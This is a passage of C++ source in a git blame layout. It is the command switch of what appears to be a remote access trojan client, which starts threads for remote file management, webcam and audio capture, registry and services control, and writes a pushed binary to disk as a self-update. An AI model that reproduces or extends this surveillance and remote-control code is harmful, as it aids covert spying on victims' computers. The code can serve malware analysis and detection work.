m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
2025-04-07 18:18:36 +08:00
|
|
|
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
case COMMAND_WEBCAM:
|
|
|
|
|
|
{
|
2025-07-13 04:37:14 +08:00
|
|
|
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
2025-04-07 18:18:36 +08:00
|
|
|
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
case COMMAND_AUDIO:
|
|
|
|
|
|
{
|
2025-07-13 04:37:14 +08:00
|
|
|
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
2025-04-07 18:18:36 +08:00
|
|
|
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
case COMMAND_REGEDIT:
|
|
|
|
|
|
{
|
2025-07-13 04:37:14 +08:00
|
|
|
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
2025-04-07 18:18:36 +08:00
|
|
|
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
case COMMAND_SERVICES:
|
|
|
|
|
|
{
|
2025-07-13 04:37:14 +08:00
|
|
|
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
2025-04-07 18:18:36 +08:00
|
|
|
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2024-12-28 18:35:34 +08:00
|
|
|
|
case COMMAND_UPDATE:
|
|
|
|
|
|
{
|
|
|
|
|
|
ULONGLONG size=0;
|
|
|
|
|
|
memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG));
|
|
|
|
|
|
if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) {
|
2025-04-15 21:37:01 +08:00
|
|
|
|
g_bExit = S_CLIENT_UPDATE;
|
2024-12-28 18:35:34 +08:00
|
|
|
|
}
|
|
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2019-01-05 20:21:43 +08:00
|
|
|
|
default:
|
|
|
|
|
|
{
|
2025-04-07 18:18:36 +08:00
|
|
|
|
Mprintf("!!! Unknown command: %d\n", unsigned(szBuffer[0]));
|
2019-01-05 20:21:43 +08:00
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|